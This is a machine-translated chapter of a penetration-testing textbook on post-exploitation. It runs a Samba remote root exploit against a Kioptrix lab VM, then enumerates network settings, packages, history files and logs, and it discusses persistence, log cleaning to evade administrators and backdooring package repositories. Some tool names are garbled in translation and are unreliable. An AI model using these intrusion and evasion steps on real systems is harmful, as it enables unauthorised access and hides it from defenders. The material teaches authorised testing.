Skip to content

Latest commit

 

History

History
1409 lines (1005 loc) · 59.9 KB

File metadata and controls

1409 lines (1005 loc) · 59.9 KB

七、利用之后

后利用是渗透测试中经常被忽略的一个方面。在过去,许多人甚至认为在远程目标机器上打开外壳的那一刻,工作就完成了。目标导向的五分钟测试需要的不仅仅是这些。渗透测试必须有一个特定的目标,例如访问关键数据库,或获取允许攻击者读取私人公司电子邮件的密钥凭据,才能发挥价值。企业所有者和经理关心保护其资产和数据的机密性、完整性和可用性。报告一个随机系统很容易被破坏,与提供确凿证据证明攻击者可以毫不费力地让公司损失数百万美元的销售损失相比,这意味着非常少的东西,因为一个影响到外部系统的关键系统的漏洞。

在本章中,我们将介绍许多感兴趣的领域,包括:

  • 关于剥削后的接触规则

  • 数据收集技术

  • 获取存储的凭据

  • Elevation of privilege

    提示

    尽管我们非常愿意,但我们无法为您作为渗透测试人员所面临的每种情况提供直接的分步指导。我们希望我们提供必要的指导,以培养适当检查和验证安全环境安全所需的技能和心态。渗透测试需要献身精神和发现线索并根据线索采取行动的能力。有许多特定利用和后期利用的方法,但是如果没有适当的技术理解和背景,这些方法只会导致混乱。花时间充分理解正在测试的操作系统和技术对于任何渗透测试都是至关重要的。

交战规则

在面向目标的渗透测试期间,将使用攻击者在野外使用的类似技术评估环境。考虑到这一点,交战规则绝对至关重要,必须认真遵守。在渗透测试的利用后阶段,敏感数据很有可能被披露;必须遵守政府法规的系统可能会成为攻击目标,或者可能会找到硬编码的密码。确保让客户意识到这一事实,并准备必要的文件,具体说明哪些是可接受的,哪些是不可接受的。在某些情况下,您可以与生产环境一起测试利用环境;如果是这种情况,一定要注意从利用到生产的密码重用。

警告:啮合规则对于渗透测试的所有阶段都非常重要,但在使用后尤其如此。如果您对使用后或任何其他阶段的接洽规则有任何疑问,请在为任何人进行渗透测试之前寻求法律顾问,以确保涵盖所有基地。

什么是允许的?

评估渗透测试的目标,并确定需要完成哪些工作来证明存在一个或多个可利用漏洞,从而实现目标。例如,如果需要使用拒绝服务攻击转移本地资源以解决问题,是否允许您执行该攻击?企业是否会明白,在他们忙于解决“问题”时,攻击一个看似不重要的系统可能会给你一个机会,让你承担更重要的事情?您的团队中有多少人可以执行商定的任务?在继续测试之前,考虑所有的可能性,然后确保它们都是必要的,并且得到批准。在系统上简单地获得一个 VNC 会话可能会破坏您的参与规则,除非在测试之前与您的客户讨论过这一点。

根据您所在国家或地区的法律,视频和语音捕获(比如 VOIP)可能是禁止的。不要违法。研究一切,必要时寻求法律顾问。

你能修改任何东西吗?

目标环境是否允许您通过数据透视添加或删除帐户、更改日志文件或发起内部攻击?如果是这样,您的客户是否同意这一点以及所有相关风险?尽管看起来很简单,但一切都需要在交战规则中解决。不应作出任何假设。要测试实际的安全环境,需要进行大量的规划和预先考虑,以确保您拥有真正测试环境和模拟实际攻击者可能使用的攻击所需的权限。

只执行真正需要实现目标的攻击。例如,在大多数环境中,删除数据库表不是一个好主意。一般来说,有一些侵入性较小的方法来证明对关键数据库服务器的管理员访问已经实现。

是否允许添加持久性?

在大型网络上执行测试时,可能需要向关键系统添加持久性。这将允许您绕过测试期间所做的任何限制或更改。它还模拟了攻击者可能采取的典型动作。毕竟,在一个系统上获得一个根壳,却让公司补丁周期启动并阻止你前进,这将是多么令人沮丧。但是,如果真的发生了这种情况,一定要赞扬安全团队!

应该考虑不同类型的持久性;是否允许您在机器上安装 root kit,或者只安装在端口上等待的进程?那么现有服务的后门呢,或者甚至设置在您打开某些端口时启动的任务呢?持久性有不同的级别,根据大小和配置,持久性可以使测试人员的生活更加轻松。确定实现目标所需的内容,并确保在测试之前拥有所有权限。

您和您的团队如何处理收集和存储的数据?

从客户自有资产收集的数据应谨慎保管。在测试前设置基本规则,包括密码管理、报告、第三方参与(您使用什么来破解密码哈希?),以及涉及客户数据的所有其他内容。事先就如何传输、存储和清理这些数据达成一致,以便事后不存在任何疑问。另一项需要注意的事项包括如何处理任何事件或信息,这些事件或信息表明网络中已经存在未知且可能具有敌意的攻击者。第三方安全事件响应团队有非常具体的方法来处理这些情况,以确保事件得到妥善处理。

员工数据和个人信息

了解与每项具体工作有关的员工信息法律法规和政策。如果系统中包含的信息不属于客户机,他们是否能够授予您查看、复制和存储这些数据的权限?一份良好的合同已经过熟悉此类工作的法律顾问的适当审查。

数据采集、网络分析、抢劫

一旦系统被破坏,建议完全枚举设备。任何有价值的线索或信息都需要快速有效地定位和妥善管理。在此阶段,重点应放在收集凭据和完全枚举已安装的服务、网络配置和访问历史记录上。确定系统运行在何种类型的网络或环境中也可能是有益的。网络是否是分段的,是否有多个 IP 与设备关联,或者它实际上是虚拟的,例如我们的测试网络?

创建审查受损系统时使用的命令和程序列表将提高整个测试的效率和有效性。拥有这样一个行动计划还可以使报告阶段更容易,并消除在测试阶段遗漏重要内容的可能性。

Linux

许多公司正转向开源操作系统以节省资金并保持竞争力。每种口味都会有细微的差异,在试图找到重要的设置或信息时,应该注意并理解这些差异。

重要目录和文件

应在运行基于 Linux 的操作系统的受损系统上审查的文件包括以下内容:

|

目录或文件

|

说明

| | --- | --- | | /etc/passwd | 此文件包含所有系统用户帐户的列表。 | | /etc/ftpusers | 提供允许访问 FTP 服务器的用户列表。 | | /etc/pam.d | 包含可插拔身份验证模块(PAM)配置文件的非常有用的目录。较旧的安装可以使用 /etc/pam.conf代替。 | | /etc/shadow | 密码存储在此文件中。它们需要解密。 | | /etc/hosts.allow | 允许访问此系统的主机名列表。 | | /etc/hosts.deny | 访问控制机制,将限制对所列系统的访问。 | | /etc/securetty | 允许 root 登录的 TTY 接口列表。 | | /etc/shutdown.allow | 可能关闭系统的用户帐户列表。 | | /etc/security | 安全政策。 | | /etc/init.d or /etc/rc.d/init.d | 服务和程序启动文件(如 /etc/init.d/apache 2)。 | | /etc/ssh | 读取或修改 SSH 配置。 | | /etc/sysctl.conf | 内核选项。 | | /etc/sysconfig | 系统配置文件。 | | /etc/dhcpc | 包含有关 DHCP 连接的信息。 | | /var/log | 最有可能找到本地存储的日志文件的位置。 | | /var/log/messages | 存储系统消息的非常有趣的日志文件。 | | /var/log/wtmp | 显示当前登录用户的日志文件。 | | /var/log/lastlog | 最后一个命令从此日志文件中提取。 |

提示

请务必查找备份文件,它们可能包含您无法访问的关键数据!

重要命令

|

命令

|

说明

| | --- | --- | | ls -oaF | 列出所有带有符号的文件,这些符号可以更容易地确定有序列中的目录、可执行文件等。 | | locate | 执行搜索。示例:(locate awesomeVPNClient将定位 awesomeVPNClient 的任何实例。如果您有一个流行 VPN 客户端名称列表,这将非常有用)。 | | updatedb | 更新定位数据库。 | | grep | 非常强大的命令,允许您在文件中搜索字符串。 | | less | 使用更少的内存来读取文件。 | | cat | 也可用于显示文件的内容。 | | df -H | 提供磁盘信息。 | | date | 可用于尝试了解系统处于哪个时区。 | | free | 提供内存信息。 | | arch | 提供有关系统体系结构的信息。 | | echo | 可用于自动写入文件。只输出指定的文本。 | | last | 将显示 /var/last日志文件。 | | logname | 提供您的登录名。 | | pwd | 打印工作目录。显示您在目录结构中的位置。 | | uname -a | 提供有关操作系统的信息。 | | netstat | 提供连接信息。 | | ifconfig or /sbin/ifconfig | 网络接口配置。 | | udevd version | 打印 udev 版本。 | | find / -type f perm 777 | 查找具有 777 权限的所有文件。 |

还有许多其他命令也很有用,但它们应该提供枚举远程系统和收集大多数(如果不是全部)有趣信息所必需的基本信息。

管理员有时会使某些文件不可变。当您遇到无法删除某个文件的情况时,请使用 lsattr查看文件属性。

将此信息用于

现在我们已经了解了要查看的文件和命令输出的类型,让我们使用其中的一些。为了遵循本节的要求,您需要使用 192.168.75.0/24 IP 空间将虚拟 pfSense、Backtrack 和 Kioptrix 1 级客户机连接到 VLAN1。

枚举

我们将从回溯开始利用 Kioptrix 系统。在执行后期利用之前,我们需要找到并利用一个系统。像往常一样,我们首先快速扫描本地子网:

# nmap 192.168.75.0/24 

您的结果会有所不同,但您应该能够在网络上找到 Kioptrix 机器:

Nmap scan report for 192.168.75.14 
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)

现在目标的 IP 地址已经确定,我们将执行更彻底的扫描。使用您选择的命令收集必要的系统信息:

# nmap -A 192.168.75.14 

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-02 13:52 EST
Nmap scan report for 192.168.75.14
Host is up (0.0047s latency).
Not shown: 994 closed ports
…TRUNCATED OUTPUT…

剥削

我们重用以前的 samba 漏洞来访问系统 samba-2.2.8 < remote root exploit by eSDee ([www.netric.org|be](http://www.netric.org|be))。如果您没有按照利用章节中的说明进行操作,请转到 /pentest/exploits/exploitdb,搜索 samba exploit 10.c,清理代码并通过 gcc -o SambaVuln_10 10.c将其编译到 SambaVuln_10 目录中。如果您在编译此代码时遇到问题,请重新阅读相应的章节进行逐步演练。

请记住,您可以通过转到 /pentest/exploits/exploitdb并使用 ./searchexploit命令,后跟搜索变量(如 ./searchsploit openssl,来执行本地漏洞攻击存储库的漏洞攻击数据库搜索。

# ./SambaVuln_10 -b 0 192.168.75.14 

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

已经连接,现在怎么办?

现在我们已经远程连接,开始收集有关系统的数据非常重要。

请注意,远程 shell 的功能不等同于标准 Linux shell。

您可能已经注意到没有收到命令提示。看看你连接到哪个 tty

tty

not a tty

由于您当前以 root 用户身份运行,我们要访问的大多数命令将可用:

# whoami 

root

例如,如果您想使用 SSH 直接连接回回溯(192.168.75.25机器,您将遇到如下问题:

# ssh 192.168.75.25 

Pseudo-terminal will not be allocated because stdin is not a terminal.
Aborted by user!

当时间很短,并且有许多系统需要在测试完成之前进行审查时,这可能会令人沮丧。您可以尝试使用 Python 生成 shell:

# python -c 'import pty; pty.spawn("/bin/sh")' 

不幸的是,这并不总是有效的。幸运的是,一旦我们在目标系统上有了足够的访问级别,就有很多其他方法可以绕过它。如果您尝试使用我们当前的 shell 在 Kioptrix 1 级机器上生成 shell,则输出如下:

Traceback (innermost last):
File "<string>", line 1, in ?
File "/usr/lib/python1.5/pty.py", line 101, in spawn
mode = tty.tcgetattr(STDIN_FILENO)
termios.error: (22, 'Invalid argument')

这是渗透测试人员所需心态的一个很好的例子。当一种方法失败时,尝试另一种方法很重要。在执行渗透测试时,尤其是在测试具有许多安全控制和流程的环境时,放弃不是一个选项。

远程系统上有哪些工具可用

在开始之前,快速枚举可用的工具是有益的。例如,知道已经安装了一个 GCC 编译器并可以随时使用,就可以决定您希望继续进行哪种类型的攻击后活动。以下是我们在开始尝试之前应该检查的一些工具和功能:

|

工具

|

命令

|

Kioptrix 输出

| | --- | --- | --- | | 猛击 | which bash | /bin/bash | | 卷曲 | which curl | /usr/bin/curl | | ftp | which ftp | /usr/bin/ftp | | 海湾合作委员会 | which gcc | /usr/bin/gcc | | iptables | which iptables | which: no iptables in (/usr/local/bin:/bin:/usr/bin) | | 数控 | which nc | which: no nc in (/usr/local/bin:/bin:/usr/bin) | | 扫描器 | which nmap | /usr/bin/nmap | | ssh | which ssh | /usr/bin/ssh | | 电信网 | which telnet | /usr/bin/telnet | | tftp | which tftp | which: no tftp in (/usr/local/bin:/bin:/usr/bin) | | wget | which wget | /usr/bin/wget | | sftp | which sftp | /usr/bin/sftp |

通过充分了解目标机器的能力,我们可以确定下一个行动计划是什么。在 Kioptrix 机器的情况下,值得注意的是, nmap已经安装!如果系统能够访问多个网络,我们将能够利用此工具从 192.168.75.14扫描远程网络。如果您从防火墙外部获得了根 shell,并且无法从自己的计算机上简单地运行扫描,那么这一点尤为重要。

查找网络信息

我们想做的第一件事是确定系统连接到哪些网络。我们需要从设备收集网络信息:

cd /sbin
./ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:21:21:62
inet addr:192.168.75.14 Bcast:192.168.75.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:6675 errors:0 dropped:0 overruns:0 frame:0
TX packets:1357 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:485701 (474.3 Kb) TX bytes:1108769 (1.0 Mb)
Interrupt:10 Base address:0xd020
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3805 (3.7 Kb) TX bytes:3805 (3.7 Kb)

该系统只设置了一个以太网连接,这是我们已经知道的(eth0 在 192.168.75.14)处)。请注意可能包含多个网卡的网络配置,这一点很重要。如果系统是虚拟化的或多主机的,则很可能会使用它转到以前无法访问的另一个网络。您还需要知道系统是否设置为路由器。中有多个网络 ifconfig是一个很好的指标,表明可能还有更多的东西要找。

提示

我们将审查来自许多命令和文件的数据。在编写报告或尝试在自己的实验室重新创建网络以进行进一步测试时,需要这些数据。最简单的方法是将命令的输出通过管道传输到单个文件中,然后可以下载该文件以供查看。

该系统包含大量其他网络信息。让我们把这些数据中的一部分拉下来回顾一下。

查看 ARP 表,我们确定目标网络上有一台 pfSense 机器:

./arp 

Address HWtype HWaddress Flags Mask Iface
pfSense.localdomain ether 08:00:27:CA:23:C6 C eth0
192.168.75.25 ether 08:00:27:87:C5:F5 C eth0

我们需要查看主机文件,以确定是否存在我们不知道的任何限制。如果主机中指定了某些系统,通过使用 hosts.allowhosts.deny我们可以使用这些信息来帮助设置攻击优先级。这些文件包含非常描述性的注释;因此,我们不会重申它们的用途。

cd /etc
cat hosts

# Do not remove the following line, or various programs
# that require network functionality will fail.
#127.0.0.1 localhost.localdomain localhost
127.0.0.1 kioptix.level1 kioptix

cat hosts.allow 

#
# hosts.allow This file describes the names of the hosts which are
# allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#

cat hosts.deny 

#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow. In particular
# you should know that NFS uses portmap!

如果目标系统正在运行 DNS 服务器,则应检查 DNS 缓存。DNS 缓存可以包含有关正在测试的网络的大量信息。

要查找存储在系统上的其他 DHCP 信息,我们必须首先将目录更改为 /etc/dhcpc

提示

如果系统使用的是静态配置的 IP,则可以在 RedHat 的 /etc/sysconfig/network-scripts/ifcfg <interface name>或 Ubuntu 的 /etc/network/interfaces上找到信息。

然后,我们使用 cat 对 dhcpcd-eth0.info:的内容进行后续检查

cd /etc/dhcpc
ls
dhcpcd-eth0.cache
dhcpcd-eth0.info
cat dhcpcd-eth0.info 
IPADDR=192.168.75.14
NETMASK=255.255.255.0
NETWORK=192.168.75.0
BROADCAST=192.168.75.255
GATEWAY=192.168.75.1
DOMAIN=localdomain
DNS=192.168.75.1
DHCPSID=192.168.75.1
DHCPGIADDR=0.0.0.0
DHCPSIADDR=0.0.0.0
DHCPCHADDR=08:00:27:21:21:62
DHCPSHADDR=08:00:27:DF:92:32
DHCPSNAME=
LEASETIME=86400
RENEWALTIME=43200
REBINDTIME=75600

现在我们知道了所使用的网关、域、DNS 等等。这类信息将使我们能够更全面地了解我们正在处理的系统和网络。毕竟,在以目标为导向的五项测试中,我们应该努力找到真正具有业务影响的东西。

确定连接

侦听服务有时可以提供有关您所在系统的其他信息。出站连接提供了系统用途的概念。它们还可能指示网络上的潜在目标。如果有到另一台服务器上的网络服务的活动连接,则可能正在使用可在稍后阶段获取的凭据。让我们看看机器上运行的服务。

netstat -an 
netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:45295 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 192.168.75.14:45295 192.168.75.25:46759 ESTABLISHED
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 127.0.0.1:32770 0.0.0.0:*
udp 0 0 192.168.75.14:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.75.14:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:843 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 8 [ ] DGRAM 912 /dev/log
unix 2 [ ACC ] STREAM LISTENING 1229 /dev/gpmctl
unix 2 [ ] DGRAM 1247
unix 2 [ ] DGRAM 1210
unix 2 [ ] DGRAM 1158
unix 2 [ ] DGRAM 1082
unix 2 [ ] DGRAM 966
unix 2 [ ] DGRAM 921
unix 2 [ ] STREAM CONNECTED 580

不幸的是,我们这里没有什么真正有趣的东西可以看。

请注意,我们的连接是可见的。如果有人在监视连接,他们将能够阻止你的 IP,并可能挫败你的攻击。在执行白盒测试时,管理员可能会在您成功连接到服务器后关闭您。根据渗透测试的目标,这可能是管理员或安全专业人员要采取的适当措施。

理想情况下,我们会看到从网络上的其他服务器连接到服务。这些信息可以帮助您确定下一步,甚至帮助您确定优先事项。例如,如果有一个管理员使用 SSH 连接到这台机器,我们想知道他是从哪里连接的,这样我们就可以尝试访问他的机器。

检查已安装的软件包

现在我们需要看看系统上安装了什么类型的软件。我们有足够的信息表明该系统正在运行 Red Hat。使用 RPM 列出已安装的软件包。您可以使用 --last选项显示上次修改包的时间。我们将截断输出,但如果您继续关注,您将看到为什么将此信息导入文件以供以后查看很重要。请注意,不同版本的 Linux 使用不同的软件包安装程序。RPM 将为一些,但不是所有的工作。对目标操作系统使用适当的包列表命令。

rpm -qa --last
zlib-devel-1.1.3-24 Sat Sep 26 05:33:31 2009
libpng-devel-1.0.12-2 Sat Sep 26 05:33:31 2009
libodbc++-devel-0.2.2pre4-12 Sat Sep 26 05:33:30 2009
VFlib2-devel-2.25.1-20 Sat Sep 26 05:33:30 2009
unixODBC-devel-2.0.7-3 Sat Sep 26 05:33:29 2009
texinfo-4.0b-3 Sat Sep 26 05:33:29 2009
swig-1.1p5-10 Sat Sep 26 05:33:29 2009
strace-4.3-2 Sat Sep 26 05:33:28 2009
[TRUNCATED]

包存储库

一个有趣的事实是,许多公司使用本地包存储库来更新基于 Linux 的系统。如果您能够破坏其中一个存储库,您可以在技术上安排在使用这些存储库的所有系统上安装后门。查看您的回溯系统,并尝试以下命令:

# cat /etc/apt/sources.list 
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

正如您所见,我们有一组非常特定的存储库,可以从中提取数据。世界各地的人都可以访问这些存储库来更新他们的回溯实例。如果您所在的网络使用他们自己的存储库进行更新,请确保这些系统完全安全。所有指向这些的系统都将从这些可信来源获取其文件…

启动时运行的程序和服务

了解哪些程序和服务在启动时运行也是非常重要的。在 Kioptrix 外壳上键入以下命令:

cd /etc/rc.d 
ls
init.d
rc
rc.local
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d

如果我们查看 rc.local文件,我们会看到以下内容:

cat rc.local 

#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
nmbd
smbd
httpd -D HAVE_SSL
touch /var/lock/subsys/local

Kioptrix 机组人员已设置了几个在系统启动时启动的项目。为了更好地控制这些过程,他们可能会指向在各自的 rc0-6 中启动的脚本。

搜索信息

请确保枚举目标设备的目录结构。很多时候,只需查看已安装的程序和相关的目录结构,就可以确定服务器的用途。看看 Kioptrix 文件系统:

df -h
Filesystem Size Used Avail Use% Mounted on
/dev/hda5 374M 67M 287M 19% /
/dev/hda1 49M 5.9M 41M 13% /boot
/dev/hda3 554M 17M 509M 4% /home
none 125M 0 124M 0% /dev/shm
/dev/hda2 1.5G 576M 859M 41% /usr
/dev/hda7 248M 28M 207M 12% /var

既然我们知道分区是如何设置的,让我们来看看我们正在处理的问题:

cd /home
ls -oaF
total 29
drwxr-xr-x 5 root 4096 Sep 26 2009 ./
drwxr-xr-x 19 root 1024 Jan 3 23:40 ../
drwx------ 2 harold 4096 Nov 16 23:13 harold/
drwx------ 2 john 4096 Sep 26 2009 john/
drwxr-xr-x 2 root 16384 Sep 26 2009 lost+found/

这里可以看到至少有两个用户主目录。如果我们想下拉整个目录结构和所有文件的列表,以便以后可以查看它,我们可以使用 tree 并将输出放在一个文件中,以便稍后传输。

cd /
tree -iafFp > directoryListing

此命令为我们提供递归目录列表。我们选择不打印带有 -i的缩进,显示所有文件,包括那些用 -a隐藏的文件,希望看到带有 -f的整个文件路径,在末尾添加字符,让我们知道我们是否正在使用 -F查看文件或目录以及更多内容,最后选择使用 -p查看文件权限

生成的文件很大,在某些系统上甚至可能导致资源使用量的瞬间激增,因此请小心操作。

如果我们查看文件的开头和结尾,我们可以合理地看到输出:

head directoryListing 
.
[-rw-r--r--] ./.autofsck
[drwxr-xr-x] ./bin/
[-rwxr-xr-x] ./bin/arch*
[-rwxr-xr-x] ./bin/ash*
[-rwxr-xr-x] ./bin/ash.static*
[-rwxr-xr-x] ./bin/aumix-minimal*
[lrwxrwxrwx] ./bin/awk -> gawk*
[-rwxr-xr-x] ./bin/basename*
[-rwxr-xr-x] ./bin/bash*
tail directoryListing 
[-rw-r--r--] ./var/www/icons/uuencoded.gif
[-rw-r--r--] ./var/www/icons/world1.gif
[-rw-r--r--] ./var/www/icons/world2.gif
[drwxr-xr-x] ./var/yp/
[-rw-r--r--] ./var/yp/Makefile
[drwxr-xr-x] ./var/yp/binding/
[-rw-r--r--] ./var/yp/nicknames
[-rw-r--r--] ./var/yp/securenets
2795 directories, 51774 files

这个特殊的系统有 50000 多个文件需要审查。对有趣的文件名进行灰显将节省大量时间。此外,请仔细检查文件权限。也许,有一个世界可读写的目录,可以用来在以后建立一些持久性。

历史文件和日志

可以查看历史文件和日志,以确定系统最近的用途。

# ls -la /root 

我们可以列出根目录的内容来寻找线索。

total 15
drwxr-x--- 4 root root 1024 Jan 3 21:42 .
drwxr-xr-x 19 root root 1024 Jan 7 14:39 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw------- 1 root root 215 Nov 16 18:21 .bash_history 
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
-rw-rw-rw- 1 root root 11 Nov 13 21:14 .mh_profile
drwx------ 2 root root 1024 Jan 3 21:42 .ssh
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
drwx------ 2 root root 1024 Nov 13 21:14 Mail
-rw-r--r-- 1 root root 1303 Sep 26 2009 anaconda-ks.cfg

查看 .bash_history文件中最近使用了哪些命令:

cat /root/.bash_history 
ls
mail
mail
clear
echo "ls" > .bash_history && poweroff
nano /etc/issue
pico /etc/issue
pico /etc/issue
ls
clear
ls /home/
exit
ifconfig
[TRUNCATED]

我们发现了一些由 root 用户运行的有趣命令,如 mailnano /etc/issue。猫出 /etc/issue您将看到以下内容:

Welcome to Kioptrix Level 1 Penetration and Assessment Environment
--The object of this game:
|_Acquire "root" access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
DISCLAIMER: Kioptrix is not responsible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.
WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet - or Interwebs..)
Good luck and have fun!

查看 mail 命令,您将看到有多条日志消息正在发送给系统管理员。您可能希望清理这些文件,因为它们包含的信息可能会提醒管理员您已尝试访问此系统。在下一章讨论避免检测时,我们将再次讨论这一点。

请记住,系统上的每个交互用户都有一个 .bash_history注释。应检查这些文件或应用程序,以查看是否有任何经常使用的文件或应用程序可能包含有助于渗透测试的数据。

locate .bash_history 
/home/john/.bash_history
/home/harold/.bash_history
/root/.bash_history

提示

在查看目标系统时,通配符的使用非常有用。例如,尝试使用 ls -al /home/*/或 cat /home/*/.bash_history。这些命令非常节省时间,在为未知系统配置编写脚本时非常出色。

我们还需要查看 /var/log中的一些日志:

cd /var/log
ls -laG
total 2419
drwxr-xr-x 8 root 2048 Jan 7 14:39 .
drwxr-xr-x 20 root 1024 Sep 26 2009 ..
-rw------- 1 root 23988 Jan 7 14:39 boot.log
-rw------- 1 root 8554 Jan 1 19:16 boot.log.1
-rw------- 1 root 3997 Dec 11 19:42 boot.log.2
-rw------- 1 root 20983 Nov 29 18:28 boot.log.3
-rw------- 1 root 16489 Nov 13 15:07 boot.log.4
-rw------- 1 root 78641 Jan 7 16:45 cron
-rw------- 1 root 94739 Jan 1 19:21 cron.1
-rw------- 1 root 10495 Dec 11 19:47 cron.2
-rw------- 1 root 63203 Nov 29 18:33 cron.3
-rw------- 1 root 8864 Nov 13 15:12 cron.4
-rw-r--r-- 1 root 5770 Jan 7 14:39 dmesg
drwxr-xr-x 2 root 1024 Jun 24 2001 fax
drwxr-xr-x 2 root 1024 Jan 7 14:44 httpd
-rw-r--r-- 1 root 49879 Jan 7 14:39 ksyms.0
-rw-r--r-- 1 root 49879 Jan 3 23:40 ksyms.1
-rw-r--r-- 1 root 49879 Jan 3 16:13 ksyms.2
-rw-r--r-- 1 root 49879 Jan 3 14:52 ksyms.3
-rw-r--r-- 1 root 49879 Jan 2 18:03 ksyms.4
-rw-r--r-- 1 root 49879 Jan 2 17:03 ksyms.5
-rw-r--r-- 1 root 49879 Jan 1 19:16 ksyms.6
-rw-r--r-- 1 root 19136220 Nov 16 23:13 lastlog
-rw------- 1 root 34690 Jan 7 16:48 maillog
-rw------- 1 root 1866 Jan 1 19:21 maillog.1
-rw------- 1 root 770 Dec 11 19:47 maillog.2
-rw------- 1 root 102520 Nov 29 18:33 maillog.3
-rw------- 1 root 1915 Nov 13 15:12 maillog.4
-rw------- 1 root 98074 Jan 7 14:44 messages
-rw------- 1 root 33312 Jan 1 19:16 messages.1
-rw------- 1 root 16485 Dec 11 19:42 messages.2
-rw------- 1 root 437542 Nov 29 18:28 messages.3
-rw------- 1 root 65865 Nov 13 15:07 messages.4
-rwx------ 1 postgres 0 Sep 26 2009 pgsql
-rw-r--r-- 1 root 10876 Jan 7 14:44 rpmpkgs
-rw-r--r-- 1 root 10876 Dec 14 04:02 rpmpkgs.1
-rw-r--r-- 1 root 10876 Nov 29 18:33 rpmpkgs.2
-rw-r--r-- 1 root 10876 Nov 17 04:02 rpmpkgs.3
-rw-r--r-- 1 root 10876 Nov 11 14:38 rpmpkgs.4
drwxr-xr-x 2 root 1024 Jan 7 14:40 sa
drwx------ 2 root 1024 Jan 1 19:21 samba
-rw------- 1 root 2033 Jan 7 15:32 secure
-rw------- 1 root 215 Jan 1 19:16 secure.1
-rw------- 1 root 73 Dec 11 19:42 secure.2
-rw------- 1 root 802251 Nov 29 18:32 secure.3
-rw------- 1 root 456 Nov 13 15:06 secure.4
-rw------- 1 root 0 Jan 1 19:21 spooler
-rw------- 1 root 0 Dec 11 19:47 spooler.1
-rw------- 1 root 0 Nov 29 18:33 spooler.2
-rw------- 1 root 0 Nov 13 15:12 spooler.3
-rw------- 1 root 0 Nov 10 19:34 spooler.4
drwxr-x--- 2 squid 1024 Aug 7 2001 squid
drwxr-xr-x 2 root 1024 Aug 27 2001 vbox
-rw-rw-r-- 1 root 43776 Jan 7 14:39 wtmp
-rw-rw-r-- 1 root 20736 Jan 1 19:16 wtmp.1
-rw------- 1 root 0 Jan 1 19:21 xferlog
-rw------- 1 root 0 Dec 11 19:47 xferlog.1
-rw------- 1 root 0 Nov 29 18:33 xferlog.2
-rw------- 1 root 0 Nov 13 15:12 xferlog.3
-rw------- 1 root 0 Nov 10 19:34 xferlog.4

浏览其中一些文件,并确保至少审查了重要文件,如 messages, secure和其他文件。渗透测试人员应该像日常管理员一样熟悉这些文件。如果您不了解正在使用的操作系统,则完全测试的能力将受到限制。查看安全日志,看看可以找到多少信息:

tail secure 

Jan 2 20:09:13 kioptrix sshd[1969]: Connection closed by 192.168.75.18
Jan 2 20:09:13 kioptrix sshd[1970]: Connection closed by 192.168.75.18
Jan 2 20:09:14 kioptrix sshd[1973]: Connection closed by 192.168.75.18

在一本书的一章中,日志文件太多,无法查看。确保熟悉系统上的数据。

配置、设置等文件

还有许多其他文件将提供与渗透测试相关的关键系统信息。请看以下内容:

cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
